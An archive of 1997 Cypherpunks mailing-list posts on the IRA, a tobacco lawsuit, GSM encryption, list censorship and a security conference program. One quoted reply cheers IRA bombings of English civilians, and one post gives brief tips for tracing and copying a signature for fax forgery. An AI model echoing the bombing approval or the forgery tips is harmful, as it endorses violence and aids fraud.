From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 9 Jun 1997 01:10:21 +0800
To: whgiii@amaranth.com
Subject: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: <199701081748.RAA00773@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@amaranth.com> writes
> Paul Bradley <paul@fatmans.demon.co.uk> writes:
> >I live in mainland England. NI, although still violent, is now not the 
> >only place bombed by the IRA, until a few years ago they mainly attacked 
> >targets in NI, they now bomb all over the country.
> 
> Well I can only see this as a good thing. :)
> 
> It is the people of England that support that illegal occupation of Irish
> soil by Brittish troops. It is only right that they should have to suffer
> the consequences.

Personally I would be happy for all UK police and military forces to
pull out of Northern Ireland.  Give it back to them, see if I care.
What difference can it make to me?  Foreign intervention is a waste of
time in my book.

However, here are a few things you might be interested to know.  I
understand the majority of people in Northern Ireland do not want to
be part of Southern Ireland.  The people in NI have been there for
multiple generations, and probably also don't want to be relocated to
England.  Many of these people are English descent and their ancestors
where given land by the British government which was stolen from
native Irish about 300 years ago.  They have also intermarried.
British government was brutal at that time, before they turned soft
and lost their empire.  (You might see parallels with the US, where
you guys are also living on stolen property).

Perhaps most NI people would not actually be that badly off if they
were part of SI.

You should also realise that IRA and supporters are minority in NI
today, for a sense of perspective.

In the mean time the IRA and the opposing paramilitary organisation
blow up, assasinate, knee-cap each other, protestants, catholics, joy
riders, and a few innocent bystanders, and I think both deal in drugs,
and are involved in organised crime to fund their activities.  IRA
makes attempts to blow up UK politicians.  Managed to smuggle rocket
launcher in van with hole cut in roof to within a few hundred yards of
10 Downing St.  But they missed.  (Dimitri says: shame, shame, and
increases Sinn Fein campaign contributions in the hope they are better
funded next time.)

(I forget name, but there is a non-governmental paramilitary group on
other side to IRA in NI, occasionally there is rumor that British Army
is feeding this paramilitary organisation names of IRA suspects to
hit, to save them the trouble).


You guys remember the Faulkland Islands thing under Thatcher?  Some
miniscule lump of rock with a few hundred sheep farmers on it?  UK
government sent warships etc at multiple billion cost.  Would've been
cheaper to desert rock, and give each and every inhabitant a cool $1
million relocation expenses.  But no, had to waste money because some
alterior motive, suitable missile outpost or something.

Wonder what the interest is in Northern Ireland?

Should give the Irish (go Paddy) back Northern Ireland, Scottish
autonomy also (haggis home rule:-).  Wales (leeks) too, yeah.
Fragmented government is a good thing, divide and conquer.  I
understand the Muslims want their own government over here also!

Some Scottish people want home rule (Scottish Independence Party?),
they had a vote on it and lost a while back.  Wales is a poor part of
the country, some richer people have bought second home holiday
cottages in picturesque welsh country side.  Result: drives up prices
for poorer locals.  A few welsh started burning down such cottages.
Some Welsh also want independence.  They have road signs in English
and in a language which most of the locals can't even read.  Similar
thing in Southern Ireland.  (Desparately hanging on to heritage).

Adam

ps Paddy is generic name for an Irishman, a haggis is a stuffed part
of sheeps anatomy, a peculiar highland delicacy, nick name for
Scotsman, leek is a vegetable, some kind of Welsh emblem, and used as
name for Welshman.  Scots call English Sasenachs (I lived in Scotland
for a couple of years, you get so you can understand what it is
they're saying after a while :-).  Not sure of Welsh and Irish names
for English.  US name is `Limey'.  OK `Yankees' :-) Vote Indian home
rule: Running Deer for president.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:40:51 -0800 (PST)
To: CYPHERPUNKS-OUTGOING-KSIUW@toad.com
Subject: YEEHAW! Tobacco argument heats up in AZ
Message-ID: <199701230640.WAA06726@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    summary: AZ AG filed for an injunction in the public interest
    to stop the sale of tobacco in AZ.  tobacco company response 
    claimed he was infringing on legislative rights...   full story is
    below.

        pure warmed-over buffalo chips --the tobacco interests.  

        ...create a conflict between the judiciary and the legislative
    branches since the judiciary can ban the sale of something the 
    legislative branch has decided to regulate and collect taxes 
    from ...  ?

        where did this boy learn his logic, let alone his law (of 
    course, who ever said any lawyer used logic any more than
    statistics are used to defend lies?)

        big tobacco will spend at least $200 million, maybe even $1
    billion in advertising and diversions to avoid this one --this is
    not a tort issue with delayable appeals --this is injunctive
    relief which could stop the sale of tobacco in a single hearing.

        bravo! and, I'll bet AZ never passed legislation which states 
    the death merchants have a mandated "right" to sell tobacco 
    products, even though the legislature did elect to pass a law to 
    "regulate" the sale of tobacco.  a mandated right implies 
    endorsement, and places the endorser in the product liability 
    chain. 

        A fine line maybe for the tobacco companies to hang their hats
    on, but a Grand Canyon worth of the state if there has no "right"
    to sell granted --granting a "right to sell" would be tantamount to 
    endorsing the sale of tobacco products.  this may be the perfect 
    shot. 

        let's see how long before the ACLU jumps in!  and, on which
    side will they jump?!?   Is 'smoking' a libertarian privilege 
    cranted unconditionally to the people despite the side effects, 
    and collatgeral damage, even if you do not smoke? 

        This case should draw enough amicus curiae to require an 
    entirely new complex of libraries just to hold the pleadings, 
    and an army of law clerks with a massively parallel database 
    to catalogue and service the briefs.

        I can see the fine hand of the Association of Attorney Generals
    driving this one.  Arizona is constituted just mean enough to take 
    this kind of action.  

        Let's see how long it is before the Feds try to step in on the 
    possible Constitutional grounds of regulating trade between the
    states, or claiming "jurisdiction" under rule 10 FRCP where 
    the combatants are of differing 'citizenship' AND the amount is
    more than $10,000 (the injunctive relief has no monetary value in
    and of itself) can be moved by any party to the Federal court 
    having jurisdiction (that was how I prevented AT&T from moving from 
    NV to NY or NJ where they could stall forever and indulge in the 
    usual payoffs).

        --as an aside, I wonder if we could ban tobacco sales in Utah 
    by referendum?  if the population is 70% LDS, the rural more 
    likely to follow the word of wisdom active members might be enough 
    to tip the vote on a referendum.  hmmm.  that would send a message
    even McCaffey and Reno would have a problem with --there is no
    medical defense for tobacco.

        As for the loss of revenue argument, the excise taxes the state
    collects from the sale of tobacco certainly does not cover the 
    increased health costs and the collateral economic and social costs 
    associated with tobacco related health problems.  the state might 
    have a net loss position initially, but over the long run, the
    reduced health costs will more than cover the loss of tobacco excise 
    tax.

        meanwhile, back to prohibition: rolling your own from back 
    yard weeds is a lot harder than making bathtub gin!

  ==
  "When buying and selling are controlled by legislation, 
    the first things to be bought and sold are legislators"  
        --P.J. O'Rourke.

  ==
  "hunt lawyers, not big game!
    lawyers are more numerous,
    you can not become attached to them,
    and they taste just like chicken."
        --attila

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::            06:30 PM ET 01/14/97

::            Tobacco industry seeks dismissal of Arizona case

::                     
::      PHOENIX, Arizona (Reuter) - The tobacco industry filed
:: motions on Tuesday in a bid to dismiss the Arizona Attorney
:: General's law suit which seeks to ban the sale of tobacco in the
:: state.
::      Lawyers for two of the defendants, Brown & Williamson
:: Tobacco Corp. and Philip Morris Cos Inc. (MO.N), said in a
:: statement the proposed ban would eliminate tax revenue from the
:: sale of tobacco which is used to fund healthcare and education
:: programs statewide.
::      "We have filed motions asking the court ... whether these
:: claims should be permitted to proceed,'' said William Maledon a
:: lawyer at Osborn Maledon which represents Philip Morris Inc.
:: "We believe it is clear that the Attorney General has no
:: authority to initiate at least six of the 11 claims he has
:: brought,'' he said.
::      The tobacco industry on Tuesday filed eight motions to
:: dismiss the suit in Maricopa County Superior Court in Arizona.
:: The Arizona lawsuit against the tobacco industry was filed
:: in August and amended by the state's attorney general in
:: November.
::      The suit seeks to ban the sale of tobacco products statewide
:: and recover increased healthcare insurance premiums the state
:: alleges to have paid for ``tobacco-related illnesses'' by state
:: employees and their dependents.
::      The suit also seeks ``corrective'' advertising and funding
:: of programs to help people give up smoking as well as
:: unspecified damages for alleged consumer fraud, restraint of
:: trade and civil racketeering.
::      Paul Eckstein, an attorney with Brown & Bain which
:: represents Brown & Williamson, said Arizona would suffer should
::  the attorney general win the suit.
::      "If the Attorney General prevails on this public nuisance
:: argument, the tobacco tax revenue source would be eliminated
:: without legislative input,'' he said.
::      "This raises the question of which state programs would be
:: eliminated for lack of funding,'' he added.
::      The lawyers said Arizona collected $650.5 million in tobacco
:: excise taxes from 1980 through 1993 and that the state will
:: collect another $167.5 million in fiscal 1996.
::      "The Arizona Legislature has not chosen to ban the sale or
:: use of tobacco, but rather regulate and profit from it,''
:: Eckstein said. ``This lawsuit would create a direct and
:: irreconcilable conflict between the judicial and legislative
:: branches of government.''









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 12:16:35 -0800 (PST)
To: "'aba@dcs.ex.ac.uk>
Subject: Re: Newt's phone calls
Message-ID: <199701212016.MAA11119@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...

> GSM encrypts only the links to the station - the traffic goes in the
> clear through the station.  Plus A5 (crypto algorithm used in GSM) is
> weak, 40 bits of effective key space.
> 
> It could be worse to have poor crypto, than no crypto,

I disagree for two reasons, first there is a big difference between having
poor locks and no locks. Most locks can be picked by an expert, they are
effective against many theifs however.

Second if everyone in the world was using 40 bit email encryption it
would prevent most of the "promiscuous" interception of communications.

The danger in weak crypto is thinking that it is strong crypto. GSM is
weak crypto but stops the type of snooping the Martins engaged in.
If you know not to talk about something secret on one then low
crypto is better than having a signal anyone can pick up on a 
device from radio shack.

		Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 21 Jan 1997 12:15:41 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Numbers we cannot talk about
Message-ID: <199701212015.MAA11107@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > I know that Standard mathematical axioms yields lots of interesting
> > results, but when it talks of the infinite and we are dealing
> > with a practical subject like cryptography or even physics it
> > should not be taken too seriously. (With respect to uncountable sets.)
> 
> Some of the applications of these theories are very relevant. For
> example, a theorem that proves that it is impossible to write a program
> that would determine if any other program would stop or loop forever, is
> very relevant and interesting.

Absolutely, something does not have to be practical to be 
interesting, Igor`s example of Cantors double slash argument (useful 
for example in AI research) is something that seems very abstract 
until we find a use for it, and most abstract mathematical concepts 
and theorems of this kind do eventually come into use by some other 
class of scientists.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 21 Jan 1997 12:14:53 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <199701212014.MAA11084@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> >> ...but I must say the list has gone downhill sharply since 
> >> the start of the censorship.
> >
> >I guess this a classic case of seeing what you want to see.
> >(Uh, Paul, the moderation experiment HASN'T STARTED YET.)

I knew that when I wrote this, but the fact that Vulis has been 
banned from the list is most definitely censorship and has lowered 
the philiosophy of the list (as in original purpose and ideaology) to 
a lower plane and provoked a number of flame wars which would 
otherwise have not taken place. 

> No, he's got it right.  The announcement of the moderation experiment
> was followed by a decline in interesting threads.

I noticed this too but it was not what I was referring to.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 12:11:41 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212011.MAA11021@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:

>   Why anyone would expect any particular degree of
> "freedom" to use a service run for free by a private individual
> is beyond me.

  I agree, totally.
  Just because an individual claims, rightly or wrongly, to be a
big defender of freedom, involving himself or herself in causes
like those of the Electronic Freedom Foundation, does not take
away their right to stomp on anyone who disagrees with them on
their own private list.
  To claim otherwise would be as ludicrous as denying the person
running the Anonymizer the right to expose the identities of the
people he feels might perhaps be abusing his private system, or
using it for nefarious purposes, such as hiding their identity 
from others.

Toto
 
> I appreciate the service, but I don't take it for granted and I
> certainly don't take it as an inalienable right.
> 
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
> Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
> mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
> ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 12:27:03 -0800 (PST)
To: "'Sean Roach'" <cypherpunks@toad.com>
Subject: RE: Newt's phone calls
Message-ID: <199701212027.MAA11297@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




get everything needed on a signed cheque.
>
>A check is no good, most checks are now printed on paper with special lines
>that are supposed to become obvious after copying.  A signed letter or even
>a mailing envelope would probably be better. 

Actually for the purposes of fax you can trace the signature 
off the check and then photocopy the traced outline. If you
use Mellonex film you can get a very good impression. 


> Also, scotch tape makes those
>pexky shadows disapear like magic.  My dad uses it to make multiple versions
>of make-up math tests that trivially look like the origional in order to
>goad persons who were sick on test day so that they could get the answers
>from someone else into printing down those answers and getting less than
>random probability. (multiple choice)

When I used to do layout of artwork for a magazine we used to 
use white out to get rid of the shadow lines. There is a
particularly good version available in the UK which comes in
a red bottle with a flow cap on it. Much better than the crappy 
pot 'n brush system which is always going hard as the 
solvent evaporates.


		Phill

PS: I hasten to add that my experience of fraud techniques comes 
from trying to stop them.

PPS: In the days of electronic mail why do people need PS's?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 21 Jan 1997 13:44:28 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Netscape to use Cybercash?
Message-ID: <199701212144.NAA12421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(S.Schear tells me that he thinks the lack of anonymity in
payment schemes is what is primarily what is holding them
back, not good GUI interfaces. I consider this hogwash,
but maybe we can agree to disagree.)

Lucky Green writes:
>Netscape has announce that Navigator will ship with CyberCash. 
>There is definitely movement at the browser/server end.

whoa, I missed this. was there any discussion on this list? or
is it just because we are drowning in noise? any more specifics?
I personally am hoping for a point-and-click interface with
the piggybank/cost HTML tag scenario I described. also, any ETA?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Korinne <korinne@datasec.net>
Date: Tue, 21 Jan 1997 12:16:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: DATANET SECURITY 97 PROGRAM
Message-ID: <199701212016.MAA11127@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Conference program Datanet Security 1997
Annual International Conference and Exhibition on Wide Area Network Securit=
y

FEBRUARY 17 - 18 - 19 - 20, 1997
HYATT REGENCY MIAMI
HOTEL & CONVENTION CENTER

All lectures and presentations have been confirmed

Keynote speakers:   Monday  February 17, 1997
The 1997 Datanet Security conference will be opened with a keynote address
by Dr. Ruth A. David, Deputy Director Science & Technology of the Central
Intelligence Agency.
=20
Following the opening address, Mr. Stuart A. Baker will deliver a keynote
speech "Legal Aspects of Network Security".  Stuart Baker is partner with
Steptoe & Johnson in Washington DC, and former lead counsel for the
National Security Agency.

Keynote speakers: Tuesday February 18, 1997
The second day of the Annual Datanet Security Conference is highlighted
with a presentation by Dr. Rob Kolstad "Non-Security Issues Affecting the
Future of the Internet". Rob Kolstad is President of BSDI Inc.

"What's Slowing down Deployment of Security ?" is the title of the next
keynote address by Novell's Chief Security Architect, Dr. Radia Perlman.
She was featured in the 20th anniversary edition of Data Communications
magazine as one of 20 most influential people in the field of computer
networking.=20

Keynote speaker:  Wednesday February 19, 1997
This conference day we feature Mr. Scott Charney as a prominent keynote
speaker.  Scott Charney is the principal government authority on computer
crime. He heads the federal prosecutors and leads the Computer Crime and
Intellectual Properties Section within the Department of  Justice.=20


ADVANCED TECHNOLOGY PROGRAM
Monday February 17, 1997

ELECTRONIC INTELLIGENCE
"Intelligence Behind the Journal Intelligence"  - Olivier Schmidt
Olivier Schmidt is founding editor of several important international
professional news journals and expert
publications. Among these "Parapolitics", "Intelligence Newsletter" and
"Intelligence". He co-authored
"Intelligences Secretes" and "OSS et la Resistance Francaise". He lives and
works in Paris, France.

"The King of Secret Readers: Edgar Allen Poe, William Friedman, and the
Logic of the Cold War" -
Professor Shawn Rosenheim
Shawn J. Rosenheim is Associate Professor of English at Williams College
(Williamstown, Mass.), and a founding  member of the Communications
Technologies Research Group. His most recent publication is "The
Cryptographic Imagination: Secret Writing from Edgar Poe to the Internet"
(Johns Hopkins University Press, 1996)

DISCUSSION PANEL
Traditional versus New Technologies: A Challenge for the Intelligence
Communities
Session and Panel Chairman - David Whipple
David Whipple is Executive Director of the Association of Former
Intelligence Officers, AFIO. As no other Mr. Whipple is able to illustrate
the traditional methods of information gathering.=20

INTERNET SECURITY
The Changing Role of the Firewall - Stephen Flaig
Mr. Flaig is Vice President for LanOptics Inc., developers of the Guardian
firewall.

Network Access Flexibility through RADIUS - David Dawson
David Dawson is General Manager Network Security Business Unit for Ascend
Communications Inc.
Previously he was Chief Executive Officer of Morningstar Technologies Inc.
He holds a BS in Electrical
Engineering from the US Military Academy at West Point.

Internet Security and the IBM Firewall - Peter Crotty
Peter Crotty is worldwide responsible for IBM's technical firewall support
program.

Secure Access: If you don't have security everywhere, you don't have it
anywhere ! - Doug LaBorde
Mr. LaBorde is Manager with the Network Security Business Unit of Ascend
Communications.

NT SECURITY
Windows NT Security: Networked Perspectives - Charles Rutstein
Charles Rutstein is Principal Consultant with Price Waterhouse, and has
extensive front line computer and
network security experience. He authored several books on computer viruses.
His latest work, dealing with
Windows NT security, has just been released.

NT Internet Security - Firewalls, Web-servers, and Vulnerabilities - Bill
Stout
Bill Stout is network security analyst and senior systems administrator
with Hitachi Data Systems. He
specializes in Windows NT security issues.

VIRUSES
Viruses and the Internet; email, Java, Active-X; the new virus carriers -
Thierry Giron
Thierry Giron holds a Computer Science Hon. degree from Middlesex
University (London, UK), and a
Business degree from ESC in Reims, France. He joined Trend Micro in Taiwan
in 1992, and is since Trend's Customer Engineering Manager for the North
American offices.

Minimizing the Virus Threat - Glenn Jordan
Glenn Jordan is the leading virus technology expert with Dr. Solomon, and
is an established member of the
Computer Anti-virus Research Organization, an international network of
anti-virus researchers. Mr. Jordan is a graduate of the University of North
Carolina.

Tuesday February 18, 1997

INTERNET SECURITY
Cyber Thieves - Gregg Lebovitz
Gregg Lebovitz is Director of Security Products at BBN Planet. Mr. Lebovitz
spent 15 years at
Carnegy-Mellon University, designing, implementing and deploying network
routers and distributed
applications.

Accounting for Square-Root Attacks in Cryptographic Design - Michael Wiener
Michael Wiener is senior cryptologist with Entrust Technologies (formerly
Nortel Secure Networks). His
expertise is in the area of cryptanalysis, authentication, and key-exchange
protocols, public-key infrastructures, design of cryptographic systems, and
high-speed implementations of public-key cryptosystems. He is agraduate of
the University of Waterloo (Canada).=20

Virtual Private Networking: Integrating Internet and Intranet Security -
Tony Rosati
Tony Rosati is co-founder and Vice President for TimeStep Corporation. He
leads design teams ranging from the development of public-key and DES based
integrated circuits to the development of system level
communications security solutions utilizing cryptographic techniques. =20

Approaching End-to-End Security - Paul Ferguson
Paul Ferguson is a senior expert with Cisco Systems. His principal
disciplines are Internet security, large-scale routing and design
architecture.

NETWORK SECURITY
Assurance in Products for the Internet - Alan Borrett
Alan Borrett is member of the UK IT Evaluation & Certification Scheme,
under authority of Her Majesty=92s Government Communications Headquarters (=
GCHQ)

Computer Security in the Third World: The Mexican Case - Prof. Guillermo
Mallen
Professor Mallen teaches and researches at the Ibero-Americana University
in Mexico. He is a former
President of the Mexican Academy of Informatics.=20

Single Point Security: The Unisys Vision for Enterprise Security
Administration - William Buffam
William Buffam is software architect with Unisys Corp. His background is in
operating systems, networking, and solution engineering. He holds a
Computer Science degree from the University of Manchester.

Security Solutions for the Internet - Eli Herscovitz
Mr. Herscovitz is founder of RadGuard Ltd., provider of secure datanetwork
systems. He chairs the
Networking Security Standardization Committee of the Standards Institute of
Israel.

TUTORIAL
Hacker Tools & Techniques and Intrusion Testing - A dual presentation by
Edward Skoudis and Cynthia Cullen
Cynthia Cullen is a senior consultant with Bell Communications Research
Security and Fraud Management.  Edward Skoudis is a senior expert in
network security issues with Bellcore's Navesink Research Center.

Wednesday February 19, 1997

COMPUTER CRIME
Network Security's Future - Glenn Gianino
Glenn Gianino is Vice President of Advanced Technology with Computer
Associates International. His
responsibilities included all systems software and hardware including
micro, midrange, and mainframe systems, as well as all networking, SNA,
wide area networks and Internet services. His most recent assignment
involves networking security on all platforms and operating systems.

Mining the Information Klondike: CINet, a tool to fight organized crime -
Robert Heibel
Robert Heibel is Director of the research/intelligence analyst program at
Mercyhurst College (PA). A 25-year veteran of the Federal Bureau of
Investigation, he served as its Deputy Chief of Counterterrorism. Mr.
Heibel is also Executive Director of the Center for Information Research,
Analysis, and Training at Mercyhurst. Mr. Heibel is a graduate of
Georgetown University.

Digital Cash is hard to regulate - Prof. Michael Froomkin
Professor Michael Froomkin is associate professor at the University of
Miami, School of Law at Coral Gables. He specializes in Internet law and
related aspects. Professor Froomkin is a graduate of the Yale Law School,
and has a M.Phil. in history of international relations from Cambridge
University (UK). He is a Fellow of the Cyberspace Law Institute.

Smart Cards: the Coming Wave - James Chen
James Chen is founder and President of V-One Corp., a provider of network
and internetwork security
solutions. Previously Mr Chen was head of the ground network engineering
division for Intelsat, responsible for satellite launches.=20

Electronic Commerce on the Internet - Tom Carty
Tom Carty is Director of CyberTrust, a division of GTE. Mr. Carty was
responsible for the information
security privacy organization and architecting key management systems with
GTE. He is a graduate of the
University of Connecticut and Boston University.

ATM: An Emerging Network Technology - Michael Guzelian
Michael Guzelian has over 15 years experience in and knowledge of
authentication, bandwidth-on-demand, and security issues that face large
public networks.

DISCUSSION PANEL
High Integrity/Mission Critical Systems
Session and Panel Chairman - Donald L. Evans
Presentations by: Donald Evans, Timothy Stacey and Robert Smock
Donald Evans is senior security engineer and senior member of the Johnson
Space Center Mission Operations Directorate AIS Security Engineering Team,
providing assistance to NASA in developing and maintaining the IS security
program for the Space Station and Shuttle ground based programs. He is an
advisory board member for the NSA Systems Security Engineering Capability
Maturity Model, and a member of the Presidential Sub-committee of the US
Security Policy Board.
Timothy Stacey was involved with security development for NASA's Space
Shuttle and Space Station
programs and software engineering in support of NASA and the US Air Force
Space Command Systems. He is currently a information security expert with
SAIC Space Operations.
Robert Smock is head of Flight Operations Information Security Program at
United Space Alliance, responsible for providing the primary government
contractor support for the protection of NASA's ground-based information
resources, which support Space Shuttle and Space Station flight operations
at the Johnson Space Center in Houston, Texas.Mr Smock holds a degree in
Computer Science.

TUTORIAL
Network Security: PRIVATE Communication in a PUBLIC World
Dr. Radia Perlman and Charlie Kaufman
Radia Perlman is Chief Security Architect for Novell, Inc. She is known for
the invention of the spamming tree algorithm used by bridges, and many of
the algorithms used for routing, including the design of a network that can
withstand a denial of service attack. She is the author of two textbooks.
She has a PhD from MIT.
Charlie Kaufman is security architect for Lotus Notes/Domino. He is the
chair of the web transaction security working group of the IETF. He is on
the National Academy of Sciences expert panel on computer system
trustworthiness. He is coauthor with Radia Perlman, of the book "Network
Security: Private Communications in a Public World".

Thursday February 20, 1997

INTERNET SECURITY
Fighting Piracy on the Net - Peter Beruk
Peter Beruk is Director of Domestic Anti-Piracy with the Software
Publishers Association.

Internet and Server Security - Joshua Peleg
Joshua Peleg is the Director of Technical services with Memco Software. Mr.
Pelegs expertise is in security, disaster recovery and system level
programming. Joshua gained much of his experience while in the Israeli
military defense forces.

Is your Company a Hackers Help Desk ? - Steve Ritger
Steve Ritger is security engineer with SRA International. His expertise is
information and network security as well as fraud detection and prevention.

JAVA SECURITY
Security and "Live" content: A Java Perspective - Peter Coffee
Peter Coffee is advanced technologies analyst for PC Week Labs. He has
taught information systems
management, management science and expert systems development for
Pepperdine University, Chapman
College, and UCLA. He is the author of "How to program Java". Mr. Coffee is
a graduate of MIT and
Pepperdine University.

TUTORIAL
World Wide Web Security
Arthur Donkers
Arthur Donkers is founder of Le Reseau, an independent security consulting
firm in The Netherlands
(Europe). He is a graduate of Delft University of Technology, and holds a
degree in Electrical Engineering. He authors a monthly column on system
administration and security aspects in SysAdmin Magazine.


------------0----------------
=20
Datanet Security 97 is sponsored by the National Association of Webmasters,
SysAdmin Magazine, Sprint, and CMP Network Computing Magazine.=20


---------------------------0--------------------------
Participation in Datanet Security 97 is $ 845. This includes admission to
all conference sessions, tutorials and discussion panels, as well as
lunches during the four days, a banquet, and a cruise to the Bahama islands
(including breakfast, lunch, dinner and show).  You can pay on-line via a
secure web transaction with all major credit cards. A special hotel
arrangement has been made with Hyatt Regency Miami, making discounted room
rates available to all participants.

The web page with full information is available at http://www.datasec.net
Alternatively you can fax 941 775 1533, or email ds97@datasec.net.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 21 Jan 1997 12:14:29 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Newt's phone calls
Message-ID: <199701212014.MAA11069@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker writes:

> Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...

> > It could be worse to have poor crypto, than no crypto,
> 
> I disagree for two reasons,

[ snip]

> The danger in weak crypto is thinking that it is strong crypto. GSM is
> weak crypto but stops the type of snooping the Martins engaged in.
> If you know not to talk about something secret on one then low
> crypto is better than having a signal anyone can pick up on a 
> device from radio shack.

No, the real danger in weak crypto is that the poorly-informed will not
think about it *at all*.  If we had "poor crypto", Newt probably wouldn't
have been embarrassed by this sort of casual interception, and the issue
wouldn't have been raised in the public mind.  But our communications
still wouldn't be safe from more determined attackers.  Brouhahas like
these are good for the pro-(strong-)crypto agenda.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 13:44:36 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Netscape to use Cybercash?
Message-ID: <199701212144.NAA12429@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:33 PM 1/21/97 -0800, Vladimir Z. Nuri wrote:
>Lucky Green writes:
>>Netscape has announce that Navigator will ship with CyberCash. 
>>There is definitely movement at the browser/server end.
>
>whoa, I missed this. was there any discussion on this list? or
>is it just because we are drowning in noise? any more specifics?

Netscape put out a press release on this in October (?). That's all I know. Look at their web site.




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 12:15:45 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701212015.MAA11113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 21 Jan 1997, Jane Jefferson wrote:
> Also Sprach Toto:
> > 
> >   If what you say is true, then Dr. DV K's efforts are quite possibly 
> > the most important issue being addressed in this conference, because
> > behind free speech, lies the most important issue of all--when does
> > it start, and when does it stop.
> 
> Exactly. 
>  
> >   The military-industrial complex proclaims this necessary for the
> > purposes of state-security, and denies that it is used in order to keep 
> > their 'sins' from being exposed. (If you believe this, then please 
> > contact me by private email regarding an ocean-front property I have
> > available in Tucson, AZ.  If you act quickly, I will throw in a set
> > of the Amazing Ginzu Knives as an added bonus.)
> 
> The heart and soul of the problem is that "sin", "freedom", "good", 
> and "evil" are abstract concepts which fluctuate from individual to 
> individual. If Dr. Vulis is indeed an adjunct professor at Fordham 
> University, I think that perhaps he has been hanging out and drinking
> too many beers with my former philosophy professor Quentin Lauer. ;-7 

	You know smoking causes wrinkles...
	:)
	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 21 Jan 1997 12:26:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: fingerd
Message-ID: <199701212026.MAA11261@toad.com>
MIME-Version: 1.0
